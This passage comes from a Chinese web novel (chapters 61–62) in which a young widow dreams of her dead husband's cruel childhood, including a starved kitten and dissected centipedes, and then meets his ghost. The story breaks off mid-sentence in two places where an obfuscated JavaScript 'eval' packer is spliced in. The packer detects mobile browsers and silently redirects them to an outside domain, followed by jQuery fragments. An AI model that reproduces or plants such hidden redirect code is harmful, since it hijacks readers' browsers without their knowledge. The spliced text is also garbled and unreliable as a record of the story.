李春雪一边洗漱,一边不经意地问起:“程公子是什么样的人?” 莺桃提醒道:“夫人,您与公子已成婚了,您不应唤得这般生疏。” 李春雪的脸爬上几抹红霞。 她也知晓。 但自己与那程公子从来没见过。 更何况那人也早已去了。 李春雪实在没法唤更为亲昵的称呼。 “……我有些不习惯,日后会改的。” 莺桃点点头。 她回道:“奴婢的娘亲是公子的奶娘,娘曾提起过,说公子刚生下来不哭不闹,可省心了,后来到了说话的年纪,竟怎么也说不出话来,老爷与夫人吓坏了,生怕是哪里出了问题,找遍郎中,郎中也称无碍。没辙,夫人便去佛寺祈福,说来惊奇,没过多久,公子便会说话了,夫人认为这是神佛显灵,从此,对神佛愈发信仰,每到日子便去寺庙祈福。” 李春雪若有所思。 这倒确实邪门。 “公子幼时性子孤僻,不爱与人说话,与老爷夫人也不亲近,上了几年学堂,性子却愈发开朗,能说会道,可讨人喜欢了。” 莺桃眉眼弯弯。 “可有程公子的画像?” 李春雪忽得开口。 莺桃没多想,只道是新妇好奇自己夫君的模样。 “自是有的,奴婢为夫人取来。”莺桃抬脚,从角落里取出一幅画卷,放置在桌面上,“自从公子离世,便把有关公子的一切都藏了起来,生怕老爷夫人睹物思人,徒生伤心。” 只见那画卷平铺开来,青年一双凤眸微眯,目光深邃,直透人心,李春雪不自觉避开视线,这、竟像在画上也能看到她似的,让她觉得无地自容。 程琛言生得极好,这点李春雪并不意外,看程老爷与程老夫人便能知晓,两人所诞之子定是个俊俏的人。 只是,她的目光凝在程琛言额头上的一抹莲花印记上。 洁白无瑕,栩栩如生,使他的温润面容增添了几丝佛性,仿佛在青年脸上真的生出一朵莲花来。 莺桃见她目光停留在那里,以为她好奇,连忙解释道:“这是公子生下来便有的,老爷与夫人去请教过佛寺的住持,这意蕴极好,夫人不必恐慌。” 李春雪盯着那莲花印记的目光仿佛要将画像盯出一个洞来。 她怎么觉得…… 这莲花印记有一种很眼熟的感觉。 她似乎见过。 61. 阴暗男鬼 前几日刚下过雨,地上还带着湿气,遍地的青苔顺着台阶长了上去,绿意盎然。 屋檐处滑落点滴露水,更添了几分静谧的氛围。 几个阿嬷围着一个粉雕玉塑的小公子转悠,小公子身着如意玉纹衣,脸上还带着婴儿肥,眼里却如同一潭死水般平静。 他抱着一只橘黄色花纹的小猫,在身旁几个阿嬷的眼神示意下,伸出手轻轻摩挲着猫的下颚,小花猫不住的“喵喵”叫,又伸出舌头舔了舔他的手心。 小公子眼里闪过笑意,眸中的冷意消散了些,倒是有几分稚儿之意。 阿嬷们忙道:“奴婢们就说没有骗小公子吧,猫这种动物识人性的,小公子您对它稍微温柔些,它定是也能记得小公子的好。” 小公子没说话,只是自顾自地逗弄着小花猫。 这本是和谐的一幕,倏忽间,那猫尖叫一声,咬了那人一口,跳下去跑得不见了踪影。 阿嬷们大吃一惊,连忙凑过来看,只见那小公子的手背上齿印明晃晃。 却见小公子不哭不闹,只是垂首看着那齿印。 李春雪站在远处,她惊愕地看着这一幕。 陌生又熟悉的程家,以及那位小公子。 她的目光落在小公子额间的莲花印记。 这是……年幼之际的程琛言? 或许是她的目光炯炯,程琛言敏锐地看了过来,他虽年幼,行事作风却没有半分稚童的天真,反而老气横秋的。 那目光过于尖锐,李春雪吓了一跳,连忙走出来解释道:“我不是故意偷听的,我也不知道为何来到了此地。” 令她惊愕的一幕发生了,几位阿嬷带着程琛言离开了,将自己视若空气,仿若没有听见她说的话似的。 李春雪咬唇,莫非,他们看不见自己。 这实在太邪乎了。 李春雪只当是今日向莺桃打听了程琛言的事,睡着后竟然也跟着做了这梦。 意识到可能只是梦,李春雪心里放松多了。 她本身对程琛言的事情也好奇得紧,不如跟上去看看。 阿嬷们带程琛言回了屋,李春雪站在门外,看不见里面,却能听见传来的声音。自己既然是在梦境中,梦境中的人看不见自己,那是否就与话本中的鬼魂相似,能够穿壁而过。 想到这个可能,李春雪心里也浮现几抹激动。 她试着穿过门窗,直接进入屋子,却被撞得身子酥麻。 微微遗憾。 看来是体会不到那自由自在、无拘无束的感觉了。 只听见女人心疼道:“怎么会被野猫咬伤了手?” 那声音耳熟,李春雪仔细回想了下,似乎是年轻时的程老夫人,比起现在,年轻时候的她声音更加清越,经过岁月的沉淀,现在的她更为沉稳一些。 几个阿嬷连忙说是自己看管不力,没照顾好小公子。 听了好一会儿,李春雪都没听见程琛言开口说话。 她默默心想,莺桃说得不错,年幼时的程琛言的确沉默寡言。 耳边忽然传来猫叫声,一声又一声,微弱又可怜。 李春雪顺着这声响看去,便见那只小花猫正可怜兮兮地躲在不远处的草丛里面。 她心生好笑,抬步走了过去。 这猫把人家主子咬了,怎还装出一副可怜巴巴的模样。 李春雪知晓自己如今这模样,人不人鬼不鬼的,这猫也看不见自己,谁料刚凑了过来,那猫就直勾勾地盯着自己的方向,龇牙咧嘴地喊着,声音尖锐。 仿若炸毛了似的。 李春雪心头微动。 早听闻猫有一双特别的眼瞳,莫不是真能看得见自己。 这恐怕是梦境中唯一能看见自己的。 李春雪心头一软,她蹲下身,轻轻地抚摸着小花猫的脊背,或许是她的动作过于温柔,眼神过于温和,那警惕的小花猫竟是慢慢放松了下来。 它轻轻地叫着:“喵……喵……喵……” 可怜又惹人怜爱。 李春雪弯眸。 还是个猫崽子呢。 手下不知按到了何处,温顺的小花猫忽然尖叫一声,神情抗拒。 李春雪动作微滞。 她垂眸看了过去,用手翻开它的皮毛,便见覆盖之下的皮肉有青紫的痕迹,不多,只有一小块,看那大小,似乎是被人掐过的痕迹。 心绪飞散着,她忽然想起方才那猫突然咬了一口程琛言,又跑了出去。 这猫温顺,定不会突然发疯的。 李春雪垂下眼眸。 心里虽有些发冷,却也可以理解。 在她们村子里面,也有年幼的儿童,表面天真无邪,实则干着偷鸡摸狗的事端,倘若追究起来,只说是孩子不懂事,不能与孩子计较。 再者说,莺桃不是也说了,长大后的程琛言能说会道,善解人意。 只要经过管教后,孩童便能知晓世间的恶善。 小猫叫的弱生生的,却还是引来了人。 程琛言走了过来。 他面色平静,小花猫却记仇得很,它的叫声忽然尖锐起来,刺耳可怖。 经过方才之事,李春雪再看这白嫩嫩的小公子,却怎么也不对劲了。 她心头慌乱,虽知晓程琛言看不见自己,还是找了个地方躲起来。 李春雪看向屋内,屋内没了动静,原来不知何时,程老夫人和阿嬷们已经离开了。 程琛言伸出手,蹲下身,唤道:“小咪,过来。” 这还是李春雪来到梦境后,第一次听见他的声音。 脆生生的,像银铃般动听。 男子一向比女子发育得迟,此时听起来程琛言的声音倒像是个女孩子的声音。 李春雪忽然理解他为何不愿多说话了。 面上冷冷的,一开口,瞬间就破坏了这感觉。 小孩子也有自尊心。 那小花猫却不过去,它蜷缩着身子,怎么都不肯过去。 时间一点一滴地流逝。 程琛言依旧保持着那姿势,甚至面上的神情都没有变过。 李春雪有些看不懂了。 难不成她判断错了,程琛言实际上还是个有耐心,有爱心的孩子。 终于,程琛言收回手了,他站起身,盯着小花猫好一阵,忽然转身离开。 毫不留情,一次也没有回头。 程家的人忽然发现一向对那只小花猫偏爱的小公子不搭理它了。 这也不是什么大事,毕竟一只畜牲,不喜欢了就不喜欢了。 就是担忧沉默寡言的小公子又没了伴,会不会性格更加沉闷。 幸运的是,程琛言对这件事的接受度远比他们想象得更高,他依旧吃饭睡觉看书,没有丝毫受到干扰的模样。 有好奇者问到,他还会困惑道:“什么猫?” 小孩子忘性大,不记事。 大家都没在意。 只是那只小花猫没了庇护,府中的人只当它是畜牲,丢的食物寥寥无几。 小花猫奄奄一息地躺在草丛里。 李春雪看在眼里,急在心里,却无济于事。 她这模样根本拿不起任何食物。 终于,那只小花猫饿死了。 死在那草丛中。 瘦骨嶙峋的。 那日,李春雪记得清楚。 那声称忘了猫的小公子撑着伞出屋门了。 细雨蒙蒙,空中笼罩了一层薄薄的雾。 伞下的小少爷五官精致,他步步朝着那草丛的方向走来。 熟稔的模样让李春雪有些讶然。 看到猫死得凄惨,李春雪以为他会难过,会落泪,会后悔,会自责。 不承想,唇红齿白的小公子忽然翘起嘴角,他笑得开心。 “不乖。” 他忽然发了善心,拿来一把铁锹,将那猫的尸体埋了进去。 年幼,力气又小,他的动作缓慢又艰难,却又坚定,途中,他摔倒很多次,但都没有放弃,继续爬起来挖坑。 终于,猫被埋好了,小公子干净的衣裳也沾染了脏污的灰尘与泥土。 他不甚在意地拍拍身上的尘土,举着伞又回到了屋子。 李春雪看着这一幕,只觉荒谬。 跟着程琛言越久,李春雪心里便越空虚。 不知如何能出去这诡异的梦境,她只能跟在这梦境的主人——程琛言身边。 说来可笑,两人连一次面都未见过,她竟是在这梦中看完了程琛言的幼时。 莺桃说程琛言幼时只是沉默寡言。 李春雪却觉得他整块心都是黑的。 不与旁人亲近的原因便是这人心狠手辣,稍有不慎,后面定有报复。 李春雪也不想这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329054|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么说一个孩童,实在是程琛言的行为便是这样告诉她的。 他喜欢下雨天。 旁人喜欢下雨天的原因可能是空气清新,利于农作物生长,景色美观…… 程琛言则是因为,雨天过后,会有许多蜈蚣钻地而出。 有一日程琛言心情很不好。 李春雪知晓为何,因为程老夫人狠狠地骂了他一顿,程老夫人一向疼爱程琛言,这次却不同。 活该。 李春雪淡淡地想着。 这次他捉弄了程老夫人身边最为亲近的阿嬷,阿嬷年纪大了,承受不住那恐吓,两眼一闭晕了过去。 她还知道程琛言为何要恐吓那阿嬷。 就是因为蜈蚣一事。 阿嬷撞见了程琛言拿匕首分尸蜈蚣一幕。 那一幕给了她许多冲击。 年幼的小公子身着白衣,其实程琛言自己不喜欢穿白衣,不耐脏,但是娘喜欢,娘觉得生得白白嫩嫩的程琛言穿白衣好看,于是他白衣居多。 他蹲在地上,脸色平静地观察了一会儿蜈蚣,然后拿起匕首慢吞吞地将蜈蚣分成一段、两段、三段……直教那蜈蚣变得面目全非。 一条,两条,三条…… 程琛言慢条斯理地处理这脚下的蜈蚣。 他忽然察觉到什么,敏锐地看了过去, 便看到了阿嬷惊恐的神情。 程琛言放下匕首,乖乖地笑道:“阿嬷好。” 倘若忽略他脚下那群蜈蚣惨状,定让人觉得这小公子可爱又懂事。 * 起初,李春雪看着程琛言的过往,还觉得有趣。 后面,她越来越惊慌,她摸不透这一切是要干什么。 时间的概念逐渐模糊,李春雪害怕自己会分不清现实与梦境,倘若自己离不开这里…… 好在。 她醒来了。 李春雪从梦中醒来后,头脑还在怔傻的状态。 她爬了起来,摸遍了周围的一切,才发觉自己终于回来了。 李春雪尝到口中酸涩味时,才发觉自己已经泪流满面了。 莺桃欣喜地推开门,她端着热粥走了进来。 “夫人,您可算是醒来了,一睡便是一整天,把我们都吓傻了。” 李春雪闻言一愣。 她缓过神,接过热粥,舀起一勺放入嘴里。 原来只有一天吗? 在那梦境中,她竟觉得像是个过了好几年。 “老夫人也急坏了,今日来看望了您好几次呢。” 莺桃说着。 李春雪心头一暖。 她放下热粥,就要起身:“让我去找娘,说我已经好了。” 莺桃连忙将人拦住:“哎呀,夫人,您看看外面的天色,时辰已不早了,明日再说也不急。” 李春雪看向窗外。 原来已经天黑了。 对啊,自己睡了一整天。 将热粥喝完后,胃里暖乎乎的,舒服得李春雪微微眯眼。 可以吃饭的感觉实在太好了。 在那梦境中,虽说她感觉不到饿,但长时间不进食,老让她有种自己不是人类的奇怪感觉。 待她舒心地躺回小榻,莺桃忽然奇怪道:“夫人您怎么不睡在屏风里面的床榻上啊,这里又小又硬,睡得可不舒服。” 李春雪摸摸后背,那次自己飞出去的疼痛感仿佛还历历在目。 邪门极了。 她本身也不是什么娇贵大小姐,睡在哪里都是可以的,况且,这小榻可比自己同妹妹们挤在一起的小床舒服多了。 况且。 李春雪聪明归聪明,真遇到有心怀不轨之人,还是手无缚鸡之力,倘若那装神弄鬼之人偏不让她睡上主塌,自己逞一时之能,遭来报复那就是得不偿失了。 她笑道:“无事,我就是想着,这屋子以前是程公子的,程公子生前也应当是睡在主榻上的,倘若程公子的魂魄回来了,没有地方睡便不好了。” 莺桃闻言噗嗤一笑。 “夫人您怎么神神叨叨的,说的都什么话。” 她一边收拾,一边笑道。 李春雪却一脸愁色。 自从那梦境后,李春雪便觉得什么事都发生得了的。 那程琛言幼时手段就这么厉害,若真有魂魄之说,死了以后,也当是个厉鬼级别。 62. 阴湿男鬼 夜深,屋外黑漆漆的,一眼望不到边,莺桃早已端着东西离开了。 屋内烛火明晃晃地倒映在墙面上,摇曳摆动。 李春雪打了个哈欠,眼眶浮起水雾来,她揉了揉眼睛。 胳膊微顿,她看向桌面那一张洁白的纸张,页角随着烛光微微飘起。 方才这纸便在这里摆着吗? 李春雪压下心头的疑问,她走了过去。 在烛火的照映下,她看清了上面的内容。 “昨夜睡得可好?” 字体洒脱俊秀,任谁看到都要称赞一声,如果不是突然出现在自己的屋子里。 李春雪的面色迅速苍白。 她拿起笔,在字的下面写道:“你是谁?” 笔墨压得极重,在写到“谁”的时候,甚至凝聚成了一团小黑点,可见女子心中的慌乱。 “李小姐睡了整整一天,不知梦到了什么?” 让李春雪惊恐的是,在她的眼皮子底下,她的问话下面竟直直地浮现出一句话来,与上方的字体一致。 她的手指微微颤抖,不可置信地看向四周。 空荡荡。 甚至唯一的笔还在自己的手中握住。 她死死咬住唇,直勾勾地盯着那纸张。 “你是谁?!你是谁?!” 握着笔的手指微微颤抖,李春雪面色白得如同纸一样,她紧盯着纸张,仿若要将它盯出一个洞来。 定是有人在装神弄鬼!这世上根本就没有鬼。 李春雪轻声道。 她努力放松绷紧的神经,却见下一秒,纸上上又出现了一行字迹—— “是吗?” 脑海中的一根弦仿佛被崩断了,李春雪拿起笔,将上面的字迹通通划掉,力道很大,甚至将薄薄的纸张也划烂了。 直到字迹被墨点完全覆盖住,她才松了口气。 身后有粘稠湿冷的气息传来,一个身影靠了过来。 他紧挨着李春雪,李春雪身子一僵。 话本中的奇异灵怪故事中都写道:“莫回头——” 李春雪呼吸都滞停了,却不敢真的回过头。 背后的人轻笑一声。 “李小姐是怕了吗?” 蓦然,李春雪忽然想起自己在纸张上写道——“我不怕你!” 他真的看见了。 所以来报复自己了。 李春雪身子一抖,额头冷汗直冒,她僵着身子转过身去。 她的眼眸瞪大。 面前的青年一身白袍,眼尾微微上扬,看着自己的目光似笑非笑。 最令人注意的是他额间的莲花印记。 “程琛言?!” 此刻,青年的面容一会儿与画像重合,一会儿又与梦境中的幼年程琛言重合。 李春雪忽然有些喘不过气来。 她勉强地想道,程琛言不是死在三年前了吗? 想到这里,李春雪身子抖得更厉害了。 她的目光不自觉地落在青年的脚下。 黑色的一团,有影子。 “你是人是鬼?” 程琛言闻言唇角上扬,他站直身子,令人胆寒的阴湿气息远去,李春雪呼了口气。 “李小姐觉得呢?” 青年抬起手,骨节分明,苍白得如同冷玉般的手指透着丝丝冷意。 他的手指靠近,在李春雪急剧颤动的心跳下,靠近她的脸颊,然后擦去了她的口脂。 “李小姐这样好像吃了小孩。” 李春雪一阵目眩神晕。 她紧紧地盯着程琛言。 “你、到、底、是、谁?程公子三年前就已经死了。” 是人还是鬼。 程琛言垂眸看她,自顾自道:“我是人啊。” “你看,我有影子。” “我有呼吸。” 李春雪抬头看去,便看见青年的胸膛微微起伏。 难道那程公子真的没有死吗? 这一切又在隐瞒着什么,为什么要假死三年,现在出面又是所为何事。 李春雪的思绪杂乱,她拼命地思考着,却只能看着那团线条缠绕得越来越紧。 “砰。” 莺桃急切地推开了门,她看清眼前这一幕,微微松气。 “夫人您怎么了?听着您在屋里喊了几声,奴婢还以为是有贼人进来了。” 莺桃面色缓和下来,关切地看着李春雪。 李春雪的心头陡然开始发冷。 ……莺桃看不见程琛言吗? 她的视线若有若无地看向身旁的青年,他安稳地站在自己的身旁,看到自己的视线看来,一点儿也没有谎言被戳穿的心虚,他轻轻弯眸。 疯子。 李春雪抖着嘴唇道:“……无事。” 莺桃离去后,程琛言勾起唇角,轻声叹息:“原来还是不一样的。” 什么不一样? 人类和鬼魂的区别有多大吗? 李春雪冷冷地心想。 她不知晓程琛言的魂魄为何只能被自己看到,也不知道他为何缠着自己,只觉脊背一阵阴冷的气息爬上,内心恶寒的同时,只觉如坠冰窟,毒蛇般粘稠湿冷的气息缠绕着自己,让她喘不过气来。 青年笑吟吟的,他忽然从腰间拿起一把匕首来。 轻轻在自己手腕处划了一道。 冷光闪过,血液涌出。 他面色平静,将沾染上血液的手指伸进嘴里。 血液从唇角滑落,青年原本的温润气质与那惹眼的红色缠绕在一起,让他看起来怪异可怖。 程琛言微微歪头:“我的血是凉的。” “你呢?” 李春雪颤着嘴唇看着青年拿着匕首逼近,步步后退。 “别……别……” 却见青年忽然把匕首收起。 他笑魇如花,美得不像话:“我知道的。你是活人,你的血是热的。” 李春雪咬着嘴唇,只觉寒意逼上心头。 她想错了,程琛言跟画像上的人一点儿也不一样,即使两人的五官一模一样,气质却截然相反。 程琛言的眼眸直勾勾地看着自己,手腕处的血液疯狂地翻涌出,他却像没事人一般平静,甚至连脸色都没有变过。 哪里有人类会这样。 只有怪物会这样。 他的面容逐渐与梦境中的幼童重叠,李春雪只觉他此刻看自己的眼神与看那小花猫的眼神毫无区别。 * 李春雪浑浑噩噩地醒来,她的头脑还在隐隐作痛。 想到方才脑海中的那一幕幕,只觉浑身作痛。 李春雪连忙垂眸,慌乱地翻看着自己身上是否有伤口,那怪物该不会用匕首在她的身上也划了什么致命的伤口吧。 幸好,一切都如常。 李春雪微微松了口气。 紧接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361226|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她环住了自己弯起的膝盖,双眸茫然地垂下。 她又该如何。 那怪物缠上了自己。 虽然不知为何这次轻易地放过了自己,倘若他心生厌倦后,便是自己丧命之际。 正在她胡思乱想时,门被叩响了。 李春雪怔松着眸子看去,便见程老夫人面色担忧地走进来。 她温热的手指落在自己的额头。 心疼道:“是那次淋雨后惹了风寒吗?都怪我,知道你身子弱……” 李春雪心里涌过暖流:“没有的,娘对我很好,是我自己身体不好。” 程老夫人摸着她的手:“这几日你就别那么辛劳了,先把身子养好。” “好。” 不知是什么缘由作祟,鬼使阳差之下,李春雪忽然道:“娘,我不想瞒你了。” 程老夫人笑道:“你这丫头瞒我什么了?还不快说来。” 李春雪垂眸,眼角泪珠滑过:“娘,府中似乎有不干净的东西,我这几日夜夜难熬,梦魇缠身,醒来后头痛欲裂,只觉整个人魂都让搅得七零八落的。您帮帮我吧,我实在受不住了。” 程老夫人眼眸微睁,惊愕道:“竟有这种事,难怪……春雪你放心,娘过几日就去找道士来,为这宅子好好辟邪。” 李春雪笑了笑。 她浑身冰冷,只觉自己也跟那鬼魂一样,她也有私心,程老夫人这么疼爱她,李春雪活了半辈子,从未享受过这份关爱,她不会轻易放手的。 怕睡着又被那鬼魂拉入梦魇中。 即使李春雪升起了困倦之意,她也不敢真的睡着。 桌上亮着烛火。 她就靠着小榻,垂首借着烛光看书。 想着今日娘说的店铺之事。 做生意的都有对家。 凡是挡了人家生财的路,都是可恨的。 程家这几年趋势大好,已让不少人眼红。 今日胭脂铺便出了事,有个女人在铺子前面哭闹,说自己用了这家的口脂,便开始浑身发痒,先是脸上生出疙瘩,紧接着身子都生了红印。 她戴着面纱,哭得撕心裂肺,微风袭来时,面纱下的面容可怖,只教人不忍再看。 这种事情太常见了,无非就是对家的下作手段罢了。 指望着将程家拉下水来。 李春雪也懂得这种手段。 她虽没经营过店铺,在村子中,也能见到相似的场景,哪家运气好,打猎的猎物拿到集市上卖了好价钱,便有人眼红,要么大闹一场,说那猎物是在自家附近捉到的,也有自己的一半,必须要将银两与自己平分;要么偷摸着遛到人家家里,想着偷走那银两。 经营店铺与村子相处相比,无非是前者手段高明一些。 李春雪吃惯了苦,见识了人心后,便也学着看透人心,不教人占了自个的便宜。 正思索着,忽然瞥见地上的玉烛红琉璃蜡台。 她心头一冷。 这是凭空出现的。 方才根本就没有这玩意。 李春雪拿起这物件,忽然发现上面挂着一个暗紫色古纹双蝶香囊。 她将这香囊取了下来,一股清新的茉莉花香味扑鼻而来。 里面的物件随着拖拽的动作掉落。 ——是那把匕首。 小巧精致,很适合别在腰间。 李春雪盯着这匕首,忽然有些摸不准程琛言的意思了。